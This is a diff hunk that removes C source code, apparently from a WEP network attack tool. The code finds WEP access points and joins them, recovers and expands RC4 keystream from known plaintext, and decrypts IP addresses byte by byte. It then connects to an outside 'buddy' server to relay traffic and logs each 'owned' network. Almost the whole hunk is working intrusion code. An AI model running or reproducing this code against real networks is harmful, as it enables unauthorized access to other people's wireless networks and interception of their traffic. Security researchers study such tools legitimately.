-	memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac));
-	ow->ow_next = es->es_owned;
-	es->es_owned = ow;
-
-	f = fopen(S_OWN_LOG, "a");
-	if (!f) err(1, "fopen()");
-	mac2str(mac, es->es_apmac, sizeof(mac));
-	fprintf(f,
-			"%s %d %s %s\n",
-			mac,
-			es->es_apchan,
-			es->es_apssid,
-			inet_ntoa(es->es_pubip));
-	fclose(f);
-
-	/* start over */
-	es->es_state = S_SEARCHING;
-	printf_time("Restarting");
-}
-
-/********** RIPPED
-************/
-static unsigned short in_cksum(unsigned short * ptr, int nbytes)
-{
-	register long sum;
-	u_short oddbyte;
-	register u_short answer;
-
-	sum = 0;
-	while (nbytes > 1)
-	{
-		sum += *ptr++;
-		nbytes -= 2;
-	}
-
-	if (nbytes == 1)
-	{
-		oddbyte = 0;
-		*((u_char *) &oddbyte) = *(u_char *) ptr;
-		sum += oddbyte;
-	}
-
-	sum = (sum >> 16) + (sum & 0xffff);
-	sum += (sum >> 16);
-	answer = ~sum;
-	return (answer);
-}
-/**************
-************/
-
-static void open_wifi(struct east_state * es)
-{
-	struct wif * wi;
-
-	wi = wi_open(es->es_ifname);
-	if (!wi) err(1, "wi_open()");
-
-	assert(es->es_wi == NULL);
-	es->es_wi = wi;
-}
-
-static void open_tap(struct east_state * es)
-{
-	struct tif * ti;
-	char * iface = NULL;
-
-	if (es->es_tapname[0]) iface = es->es_tapname;
-
-	ti = ti_open(iface);
-	if (!ti) err(1, "ti_open()");
-
-	strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1);
-	es->es_tapname[sizeof(es->es_tapname) - 1] = 0;
-
-	printf("Setting tap MTU\n");
-	if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()");
-
-	es->es_ti = ti;
-}
-
-static void set_mac(struct east_state * es)
-{
-	printf("Sorting out wifi MAC\n");
-	if (!es->es_setmac)
-	{
-		char mac[18];
-
-		if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()");
-		mac2str(mac, es->es_mymac, sizeof(mac));
-		printf("MAC is %s\n", mac);
-	}
-	else if (wi_set_mac(es->es_wi, es->es_mymac) == -1)
-		err(1, "wi_set_mac()");
-
-	printf("Setting tap MAC\n");
-	if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()");
-}
-
-static void set_tap_ip(struct east_state * es)
-{
-	if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()");
-}
-
-static void die(char * m)
-{
-	struct east_state * es = &_es;
-
-	printf("Dying: %s\n", m);
-	if (es->es_wi) wi_close(es->es_wi);
-	if (es->es_ti) ti_close(es->es_ti);
-
-	exit(0);
-}
-
-static void sighand(int sig)
-{
-	if (sig)
-	{
-	} /* XXX unused */
-	die("signal");
-}
-
-static void set_chan(struct east_state * es)
-{
-	int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan;
-
-	if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel");
-}
-
-static void clear_timeout(struct east_state * es)
-{
-	memset(&es->es_txlast, 0, sizeof(es->es_txlast));
-}
-
-static void
-read_beacon(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t)(wh + 1);
-	u_int16_t capa;
-	int bhlen = 12;
-	int got_ssid = 0, got_channel = 0;
-	struct owned * own = es->es_owned;
-
-	len -= sizeof(*wh) + bhlen;
-	if (len < 0)
-	{
-		printf("Short beacon %d\n", len);
-		return;
-	}
-
-	if (es->es_state != S_SEARCHING) return;
-
-	/* only wep */
-	capa = IEEE80211_BEACON_CAPABILITY(b);
-	if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS)))
-		return;
-
-	/* lookin for a specific dude */
-	if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0)
-	{
-		if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return;
-	}
-
-	/* check if we already owned him */
-	while (own)
-	{
-		if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return;
-
-		own = own->ow_next;
-	}
-
-	/* SSID and channel */
-	b += bhlen;
-	while (len > 1)
-	{
-		unsigned char ie_len = b[1];
-
-		len -= 2 + ie_len;
-		if (len < 0)
-		{
-			printf("Short IE %d %d\n", len, ie_len);
-			return;
-		}
-
-		switch (b[0])
-		{
-			case IEEE80211_ELEMID_SSID:
-				if (!got_ssid)
-				{
-					strncpy(es->es_apssid, (char *) &b[2], ie_len);
-					es->es_apssid[ie_len] = 0;
-					if (strlen(es->es_apssid)) got_ssid = 1;
-				}
-				break;
-
-			case IEEE80211_ELEMID_DSPARMS:
-				if (!got_channel) got_channel = b[2];
-				break;
-		}
-
-		if (got_ssid && got_channel)
-		{
-			char str[18];
-
-			memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac));
-			es->es_apchan = got_channel;
-			es->es_state = S_SENDAUTH;
-			mac2str(str, es->es_apmac, sizeof(str));
-			printf("\nSSID %s Chan %d Mac %s\n",
-				   es->es_apssid,
-				   es->es_apchan,
-				   str);
-
-			if (!es->es_chanlock) set_chan(es);
-			return;
-		}
-
-		b += 2 + ie_len;
-	}
-}
-
-static int for_me_and_from_ap(struct east_state * es,
-							  struct ieee80211_frame * wh)
-{
-	if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return 0;
-
-	if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return 0;
-
-	return 1;
-}
-
-static void
-read_auth(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	unsigned short * sp = (unsigned short *) (wh + 1);
-
-	if (len)
-	{
-	} /* XXX unused */
-
-	if (es->es_state != S_SENDAUTH) return;
-
-	if (!for_me_and_from_ap(es, wh)) return;
-
-	if (le16toh(*sp) != 0)
-	{
-		printf("weird auth algo: %d\n", le16toh(*sp));
-		return;
-	}
-
-	sp++;
-	if (le16toh(*sp) != 2)
-	{
-		printf("weird auth transno: %d\n", le16toh(*sp));
-		return;
-	}
-
-	sp++;
-	if (le16toh(*sp) != 0)
-	{
-		printf("Auth unsuccessful %d\n", le16toh(*sp));
-		exit(1);
-	}
-
-	printf("Authenticated\n");
-	es->es_state = S_SENDASSOC;
-}
-
-static int is_dup(struct east_state * es, struct ieee80211_frame * wh)
-{
-	unsigned short * sn = (unsigned short *) &wh->i_seq[0];
-	unsigned short s;
-
-	s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
-
-	if (s == es->es_rxseq) return 1;
-
-	es->es_rxseq = s;
-	return 0;
-}
-
-static void
-read_deauth(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	unsigned short * sp = (unsigned short *) (wh + 1);
-
-	if (len)
-	{
-	} /* XXX unused */
-
-	if (!for_me_and_from_ap(es, wh)) return;
-
-	if (is_dup(es, wh)) return;
-
-	printf("Deauth: %d\n", le16toh(*sp));
-	es->es_state = S_SENDAUTH;
-}
-
-static void
-read_disassoc(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	unsigned short * sp = (unsigned short *) (wh + 1);
-
-	if (len)
-	{
-	} /* XXX unused */
-
-	if (!for_me_and_from_ap(es, wh)) return;
-
-	if (is_dup(es, wh)) return;
-
-	printf("Disassoc: %d\n", le16toh(*sp));
-	es->es_state = S_SENDASSOC;
-}
-
-static void
-read_assoc_resp(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	unsigned short * sp = (unsigned short *) (wh + 1);
-
-	if (len)
-	{
-	} /* XXX unused */
-
-	if (es->es_state != S_SENDASSOC) return;
-
-	if (!for_me_and_from_ap(es, wh)) return;
-
-	sp++; /* capa */
-
-	/* sc */
-	if (le16toh(*sp) != 0)
-	{
-		printf("Assoc unsuccessful %d\n", le16toh(*sp));
-		exit(1);
-	}
-
-	sp++;
-	printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp)));
-	es->es_state = S_ASSOCIATED;
-	es->es_txack = 0;
-	es->es_expand_num = -1;
-}
-
-static void
-read_mgt(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	if (len < (int) sizeof(*wh))
-	{
-		printf("Short mgt %d\n", len);
-		return;
-	}
-
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-	{
-		case IEEE80211_FC0_SUBTYPE_BEACON:
-		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-			read_beacon(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_AUTH:
-			read_auth(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
-		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_DEAUTH:
-			read_deauth(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_DISASSOC:
-			read_disassoc(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-			read_assoc_resp(es, wh, len);
-			break;
-
-		default:
-			printf("Unknown mgmt subtype %x\n",
-				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
-			break;
-	}
-}
-
-static void
-read_ack(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	if (len)
-	{
-	} /* XXX unused */
-
-	if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return;
-
-	es->es_txack = 1;
-	//	printf("Ack\n");
-}
-
-static void
-read_ctl(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-	{
-		case IEEE80211_FC0_SUBTYPE_ACK:
-			read_ack(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_SUBTYPE_RTS:
-		case IEEE80211_FC0_SUBTYPE_CTS:
-		case IEEE80211_FC0_SUBTYPE_PS_POLL:
-		case IEEE80211_FC0_SUBTYPE_CF_END:
-			break;
-
-		default:
-			printf("Unknown ctl subtype %x\n",
-				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
-			break;
-	}
-}
-
-static int our_network(struct east_state * es, struct ieee80211_frame * wh)
-{
-	void * bssid
-		= (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1;
-
-	return memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0;
-}
-
-static void xor(void *out, void *clear, void *cipher, int len)
-{
-	unsigned char *cl = (unsigned char*) clear;
-	unsigned char *ci = (unsigned char*) cipher;
-	unsigned char *o = (unsigned char*) out;
-
-	while (len--)
-		*o++ = *cl++ ^ *ci++;
-}
-
-static void save_prga(struct east_state *es)
-{
-	int fd, rc;
-
-	assert(es->es_prgalen <= (int) sizeof(es->es_prga));
-	printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]",
-				es->es_prgalen,
-				es->es_iv[0],
-				es->es_iv[1],
-				es->es_iv[2]);
-
-#if 0
-	printf(": ");
-	for (i = 0; i < es->es_prgalen; i++)
-		printf("%.2X ", es->es_prga[i]);
-#endif
-	printf("\n");
-
-	fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644);
-	if (fd == -1) err(1, "save_prga: open()");
-
-	rc = write(fd, es->es_iv, 3);
-	if (rc != 3)
-	{
-		printf("save_prga: can't write IV\n");
-		exit(1);
-	}
-	rc = write(fd, es->es_prga, es->es_prgalen);
-	if (rc != es->es_prgalen)
-	{
-		printf("save_prga: can't write PRGA\n");
-		exit(1);
-	}
-	close(fd);
-}
-
-static int is_arp(struct ieee80211_frame * wh, int len)
-{
-	int arpsize = 8 + sizeof(struct arphdr) + 10 * 2;
-
-	if (wh)
-	{
-	} /* XXX unused */
-
-	if (len == arpsize || len == 54) return 1;
-
-	return 0;
-}
-
-static void * get_sa(struct ieee80211_frame * wh)
-{
-	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		return wh->i_addr3;
-	else
-		return wh->i_addr2;
-}
-
-static void * get_da(struct ieee80211_frame * wh)
-{
-	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		return wh->i_addr1;
-	else
-		return wh->i_addr3;
-}
-
-static int known_clear(void * clear, struct ieee80211_frame * wh, int len)
-{
-	unsigned char * ptr = clear;
-
-	/* IP */
-	if (!is_arp(wh, len))
-	{
-		unsigned short iplen = htons(len - 8);
-
-		printf("Assuming IP %d\n", len);
-
-		len = sizeof(S_LLC_SNAP_IP) - 1;
-		memcpy(ptr, S_LLC_SNAP_IP, len);
-		ptr += len;
-#if 1
-		len = 2;
-		memcpy(ptr, "\x45\x00", len);
-		ptr += len;
-
-		memcpy(ptr, &iplen, len);
-		ptr += len;
-#endif
-		len = ptr - ((unsigned char *) clear);
-		return len;
-	}
-	printf("Assuming ARP %d\n", len);
-
-	/* arp */
-	len = sizeof(S_LLC_SNAP_ARP) - 1;
-	memcpy(ptr, S_LLC_SNAP_ARP, len);
-	ptr += len;
-
-	/* arp hdr */
-	len = 6;
-	memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
-	ptr += len;
-
-	/* type of arp */
-	len = 2;
-	if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
-		memcpy(ptr, "\x00\x01", len);
-	else
-		memcpy(ptr, "\x00\x02", len);
-	ptr += len;
-
-	/* src mac */
-	len = 6;
-	memcpy(ptr, get_sa(wh), len);
-	ptr += len;
-
-	len = ptr - ((unsigned char *) clear);
-	return len;
-}
-
-static void
-base_prga(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	unsigned char ct[1024];
-	unsigned char * data = (unsigned char *) (wh + 1);
-	int prgalen;
-
-	memcpy(es->es_iv, data, 3);
-	data += 4;
-	len -= 4 + 4; /* IV & CRC */
-	if (len <= 0)
-	{
-		printf("base_prga: lame len %d\n", len);
-		return;
-	}
-
-	prgalen = known_clear(ct, wh, len);
-
-	xor(es->es_prga, ct, data, prgalen);
-	es->es_prgalen = prgalen;
-
-	save_prga(es);
-}
-
-static unsigned int get_crc32(void * data, int len)
-{
-	uLong crc;
-
-	crc = crc32(0L, Z_NULL, 0);
-	crc = crc32(crc, data, len);
-	return crc;
-}
-
-static void
-check_expand(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	int elen;
-	unsigned long crc;
-	unsigned char * data = (unsigned char *) (wh + 1);
-
-	if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return;
-
-	if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return;
-
-	if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return;
-
-	if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return;
-
-	elen = es->es_expand_len;
-
-	if (elen != (len - 4)) return;
-
-	if (elen <= es->es_prgalen) return;
-
-	/* iv */
-	memcpy(es->es_iv, data, 3);
-	data += 4;
-	elen -= 4;
-
-	/* payload */
-	assert(elen <= (int) sizeof(es->es_clear));
-	es->es_prgalen = elen + 4;
-	xor(es->es_prga, es->es_clear, data, elen);
-
-	/* crc */
-	crc = htole32(get_crc32(es->es_clear, elen));
-	xor(&es->es_prga[elen], &crc, data + elen, 4);
-
-	save_prga(es);
-	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
-}
-
-static int to_me(struct east_state * es, struct ieee80211_frame * wh)
-{
-	return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		   && memcmp(es->es_mymac, get_da(wh), 6) == 0;
-}
-
-static int from_me(struct east_state * es, struct ieee80211_frame * wh)
-{
-	return memcmp(es->es_mymac, get_sa(wh), 6) == 0;
-}
-
-static int
-check_decrypt(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	int elen;
-
-	if (!from_me(es, wh)) return 0;
-
-	if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return 0;
-
-	elen = es->es_prga_dlen + 1;
-
-	if (elen != (len - 4)) return 0;
-
-	es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5];
-#if 0
-	printf("\nPrga byte %d is %.2X\n",
-	       es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]);
-#endif
-	es->es_prga_dlen++;
-
-	assert(es->es_prga_dlen <= (int) sizeof(es->es_prga_d));
-	return 1;
-}
-
-static void decrypt_ip_addr(
-	struct east_state * es, void * dst, int * len, void * cipher, int off)
-{
-	unsigned char * c = cipher;
-
-	*len = es->es_prga_dlen - off;
-	if (*len > 4) *len = 4;
-	assert(*len > 0);
-	xor(dst, c + off, es->es_prga_d + off, *len);
-}
-
-static void found_net_addr(struct east_state * es, unsigned char * a)
-{
-	unsigned char ip[4];
-
-	memcpy(ip, a, 3);
-	if (!ip[0])
-	{
-		printf("Shit, prolly got a lame dhcp dude\n");
-		exit(1);
-	}
-
-	ip[3] = 123;
-	memcpy(&es->es_myip, ip, 4);
-	printf("My IP %s\n", inet_ntoa(es->es_myip));
-	set_tap_ip(es);
-
-	ip[3] = 1;
-	memcpy(&es->es_rtrip, ip, 4);
-	printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip));
-	es->es_astate = AS_FIND_RTR_MAC;
-}
-
-static void
-check_decrypt_arp(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	unsigned char ip[4];
-	int iplen;
-	int off = 8 + sizeof(struct arphdr) + 6;
-	unsigned char * data;
-	int i;
-
-	if (!check_decrypt(es, wh, len)) return;
-
-	iplen = es->es_prga_dlen - off;
-	assert(iplen > 0 && iplen <= (int) sizeof(ip));
-
-	data = (unsigned char *) (((struct ieee80211_frame *) es->es_packet_arp)
-							  + 1);
-	data += +4 + off;
-	xor(ip, data, &es->es_prga_d[off], iplen);
-
-	printf("\nARP IP so far: ");
-	for (i = 0; i < iplen; i++)
-	{
-		printf("%d", ip[i]);
-		if ((i + 1) < iplen) printf(".");
-	}
-	printf("\n");
-
-	if (iplen == 3) found_net_addr(es, ip);
-}
-
-static void
-check_decrypt_ip(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	int off_ip = 8;
-	int off_id = off_ip + 4;
-	int off_ttl = off_id + 4;
-	int off_p = off_ttl + 1;
-	int off_check = off_p + 1;
-	int off_s_addr = off_check + 2;
-	int off_d_addr = off_s_addr + 4;
-	unsigned char * data = es->es_packet + sizeof(*wh) + 4;
-
-	if (!check_decrypt(es, wh, len)) return;
-
-	if (es->es_prga_dlen == (off_id + 2))
-	{
-#if 0
-		unsigned char *c = data + off_id + 2;
-#endif
-		printf("\nGot IP ID\n");
-#if 0
-		xor(&es->es_prga_d[es->es_prga_dlen], c, "\x00\x00", 2);
-		es->es_prga_dlen += 2;
-		es->es_prga_d[es->es_prga_dlen] = 0;
-#endif
-	}
-	else if (es->es_prga_dlen == (off_ttl + 1))
-	{
-		printf("\nGot IP TTL\n");
-	}
-	else if (es->es_prga_dlen == (off_p + 1))
-	{
-		unsigned char * c = data + off_p;
-		int p = (*c) ^ es->es_prga_d[es->es_prga_dlen - 1];
-		char * str = NULL;
-
-		switch (p)
-		{
-			case IPPROTO_ICMP:
-				str = "icmp";
-				break;
-			case IPPROTO_UDP:
-				str = "udp";
-				break;
-			case IPPROTO_TCP:
-				str = "tcp";
-				break;
-			default:
-				str = "unknown";
-				break;
-		}
-
-		printf("\nGot proto %s\n", str);
-	}
-	else if (es->es_prga_dlen == (off_check + 2))
-	{
-		printf("\nGot checksum [could use to help bforce addr]\n");
-	}
-	else if ((es->es_prga_dlen >= off_s_addr)
-			 && (es->es_prga_dlen <= (off_s_addr + 4)))
-	{
-		unsigned char ip[4];
-		int iplen;
-		int i;
-
-		decrypt_ip_addr(es, ip, &iplen, data, off_s_addr);
-		printf("\nSource IP so far: ");
-		for (i = 0; i < iplen; i++)
-		{
-			printf("%d", ip[i]);
-			if (i + 1 < iplen) printf(".");
-		}
-		printf("\n");
-
-		if (es->es_have_src && iplen == 3) found_net_addr(es, ip);
-	}
-	else if ((es->es_prga_dlen >= off_d_addr)
-			 && (es->es_prga_dlen <= (off_d_addr + 4)))
-	{
-		unsigned char dip[4];
-		struct in_addr sip;
-		int iplen;
-		int i;
-
-		decrypt_ip_addr(es, &sip, &i, data, off_s_addr);
-		decrypt_ip_addr(es, dip, &iplen, data, off_d_addr);
-		printf("\nIPs so far %s->", inet_ntoa(sip));
-		for (i = 0; i < iplen; i++)
-		{
-			printf("%d", dip[i]);
-			if (i + 1 < iplen) printf(".");
-		}
-		printf("\n");
-
-		assert(!es->es_have_src);
-		if (iplen == 3) found_net_addr(es, dip);
-	}
-	else if (es->es_prga_dlen > off_d_addr)
-		abort();
-}
-
-static void setup_internet(struct east_state * es)
-{
-	struct sockaddr_in s_in;
-	char buf[16];
-
-	es->es_astate = AS_CHECK_INET;
-	clear_timeout(es);
-	printf("Trying to connect to buddy: %s:%d\n",
-		   inet_ntoa(es->es_srvip),
-		   es->es_port);
-
-	assert(es->es_buddys == 0);
-	es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
-	if (es->es_buddys == -1) err(1, "setup_internet: socket()");
-
-	memset(&s_in, 0, sizeof(s_in));
-	s_in.sin_family = PF_INET;
-	s_in.sin_addr = es->es_srvip;
-	s_in.sin_port = htons(es->es_port);
-
-	if (connect(es->es_buddys, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-		err(1, "setup_internet: connect()");
-	printf("Connected\n");
-
-	/* handshake */
-	if (send(es->es_buddys, "sorbo", 5, 0) != 5)
-		err(1, "setup_internet: send()");
-	if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()");
-
-	if (memcmp(buf, "sorbox", 6) != 0)
-	{
-		printf("setup_internet: handshake failed");
-		exit(1);
-	}
-	printf("Handshake compl33t\n");
-}
-
-static void
-check_rtr_mac(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	void * sa;
-	char str[18];
-
-	if (!to_me(es, wh)) return;
-
-	if (!is_arp(wh, len - 4 - 4)) return;
-
-	sa = get_sa(wh);
-	memcpy(es->es_rtrmac, sa, 6);
-	mac2str(str, es->es_rtrmac, sizeof(str));
-	printf("Rtr MAC %s\n", str);
-
-	setup_internet(es);
-}
-
-static struct rpacket * get_slot(struct east_state * es)
-{
-	struct rpacket * slot = es->es_rqueue;
-	struct rpacket * p = es->es_rqueue;
-
-	/* try to recycle */
-	while (slot)
-	{
-		if (!slot->rp_len) return slot;
-
-		slot = slot->rp_next;
-	}
-
-	slot = malloc(sizeof(*slot));
-	if (!slot) err(1, "get_slot: malloc()");
-	memset(slot, 0, sizeof(*slot));
-
-	if (!p)
-		es->es_rqueue = slot;
-	else
-	{
-		while (p->rp_next) p = p->rp_next;
-		p->rp_next = slot;
-	}
-	return slot;
-}
-
-static struct rpacket * get_head(struct east_state * es)
-{
-	struct rpacket * rp = es->es_rqueue;
-
-	if (!rp) return NULL;
-
-	if (!rp->rp_len) return NULL;
-
-	return rp;
-}
-
-static struct rpacket * get_packet(struct east_state * es, int id)
-{
-	struct rpacket * rp = es->es_rqueue;
-
-	while (rp)
-	{
-		if (!rp->rp_len) return NULL;
-
-		if (rp->rp_id == id) return rp;
-
-		rp = rp->rp_next;
-	}
-
-	return NULL;
-}
-
-static void remove_packet(struct east_state * es, int id)
-{
-	struct rpacket * rp = es->es_rqueue;
-	struct rpacket ** prevn;
-	struct rpacket * p;
-
-	assert(rp);
-	prevn = &es->es_rqueue;
-
-	/* find and remove */
-	while (rp)
-	{
-		if (rp->rp_id == id)
-		{
-			rp->rp_len = 0;
-			*prevn = rp->rp_next;
-			break;
-		}
-
-		prevn = &rp->rp_next;
-		rp = rp->rp_next;
-	}
-	assert(rp);
-
-	/* only one element */
-	p = es->es_rqueue;
-	if (!p)
-	{
-		es->es_rqueue = rp;
-		assert(!rp->rp_next);
-		return;
-	}
-
-	while (p)
-	{
-		if (!p->rp_len)
-		{
-			rp->rp_next = p->rp_next;
-			p->rp_next = rp;
-			return;
-		}
-
-		prevn = &p->rp_next;
-		p = p->rp_next;
-	}
-
-	/* last elem */
-	rp->rp_next = NULL;
-	*prevn = rp;
-}
-
-static int queue_len(struct east_state * es)
-{
-	int len = 0;
-	struct rpacket * slot = es->es_rqueue;
-
-	while (slot)
-	{
-		if (!slot->rp_len) break;
-		len++;
-		slot = slot->rp_next;
-	}
-
-	return len;
-}
-
-static void
-redirect_enque(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	char s[18];
-	char d[18];
-	struct rpacket * slot;
-
-	slot = get_slot(es);
-
-	slot->rp_len = len;
-	assert(slot->rp_len <= (int) sizeof(slot->rp_packet));
-	memcpy(slot->rp_packet, wh, slot->rp_len);
-	es->es_rpacket_id++;
-	slot->rp_id = es->es_rpacket_id;
-
-	mac2str(s, get_sa(wh), sizeof(s));
-	mac2str(d, get_da(wh), sizeof(d));
-	printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n",
-				slot->rp_id,
-				s,
-				d,
-				len - sizeof(*wh) - 4 - 4,
-				queue_len(es));
-}
-
-static void
-check_redirect(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	if (!for_me_and_from_ap(es, wh)) return;
-
-	if (is_dup(es, wh)) return;
-
-	redirect_enque(es, wh, sizeof(*wh) + len);
-}
-
-static void
-read_data(struct east_state * es, struct ieee80211_frame * wh, int len)
-{
-	if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-		!= IEEE80211_FC0_SUBTYPE_DATA)
-		return;
-
-	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return;
-
-	if (!our_network(es, wh)) return;
-
-	if (!from_me(es, wh))
-	{
-		if (!es->es_have_packet
-			|| (es->es_astate <= AS_FIND_IP && !es->es_have_src))
-		{
-			assert((int) sizeof(es->es_packet) >= len);
-			memcpy(es->es_packet, wh, len);
-			es->es_have_packet = len;
-
-			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1;
-			if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0)
-				es->es_have_src = 1;
-		}
-		if (!es->es_have_arp && is_arp(wh, len - sizeof(*wh) - 4 - 4))
-		{
-			memcpy(es->es_packet_arp, wh, len);
-			es->es_have_arp = len;
-			if (es->es_astate == AS_DECRYPT_IP)
-			{
-				printf("\nPreempting to ARP decryption\n");
-				es->es_astate = AS_FIND_IP;
-			}
-		}
-	}
-
-	len -= sizeof(*wh);
-
-	switch (es->es_astate)
-	{
-		case AS_NOPRGA:
-			base_prga(es, wh, len);
-			es->es_astate = AS_PRGA_EXPAND;
-			break;
-
-		case AS_PRGA_EXPAND:
-			check_expand(es, wh, len);
-			break;
-
-		case AS_FIND_IP:
-			break;
-
-		case AS_DECRYPT_ARP:
-			check_decrypt_arp(es, wh, len);
-			break;
-
-		case AS_DECRYPT_IP:
-			check_decrypt_ip(es, wh, len);
-			break;
-
-		case AS_FIND_RTR_MAC:
-			check_rtr_mac(es, wh, len);
-			break;
-
-		case AS_CHECK_INET:
-			break;
-
-		case AS_REDIRECT:
-			check_redirect(es, wh, len);
-			break;
-
-		default:
-			abort();
-			break;
-	}
-}
-
-static void read_wifi(struct east_state * es)
-{
-	unsigned char buf[4096];
-	int len;
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-
-	len = wi_read(es->es_wi, buf, sizeof(buf), NULL);
-	if (len == -1) err(1, "wi_read()");
-
-	/* XXX: I don't do any length chex */
-	if (len < 2)
-	{
-		printf("Short packet %d\n", len);
-		return;
-	}
-
-	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
-	{
-		case IEEE80211_FC0_TYPE_MGT:
-			read_mgt(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_TYPE_CTL:
-			read_ctl(es, wh, len);
-			break;
-
-		case IEEE80211_FC0_TYPE_DATA:
-			read_data(es, wh, len);
-			break;
-
-		default:
-			printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
-			break;
-	}
-}
-
-static unsigned int msec_diff(struct timeval * after, struct timeval * before)
-{
-	unsigned int diff;
-
-	assert(after->tv_sec >= before->tv_sec);
-
-	if (after->tv_sec > before->tv_sec)
-	{
-		unsigned int usec;
-
-		diff = (after->tv_sec - before->tv_sec - 1) * 1000;
-		usec = 1000 * 1000 - before->tv_usec;
-		usec += after->tv_usec;
-		diff += usec / 1000;
-	}
-	else /* after->tv_sec == before->tv_sec */
-		diff = (after->tv_usec - before->tv_usec) / 1000;
-
-	return diff;
-}
-
-static void msec_to_tv(int msec, struct timeval * tv)
-{
-	tv->tv_sec = msec / 1000;
-	tv->tv_usec = (msec - tv->tv_sec * 1000) * 1000;
-}
-
-static void chan_hop(struct east_state * es, struct timeval * tv)
-{
-	struct timeval now;
-	unsigned int elapsed;
-
-	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
-
-	elapsed = msec_diff(&now, &es->es_lasthop);
-
-	/* hop */
-	if (elapsed >= es->es_hopfreq)
-	{
-		es->es_apchan++;
-		if (es->es_apchan > 12) es->es_apchan = 1;
-		es->es_lasthop = now;
-		set_chan(es);
-		printf("Chan %.2d\r", es->es_apchan);
-		fflush(stdout);
-
-		msec_to_tv(es->es_hopfreq, tv);
-	}
-	else
-		msec_to_tv(es->es_hopfreq - elapsed, tv);
-}
-
-static unsigned short fnseq(unsigned short fn, unsigned short seq)
-{
-	unsigned short r = 0;
-
-	assert(fn < 16);
-
-	r = fn;
-	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
-	return r;
-}
-
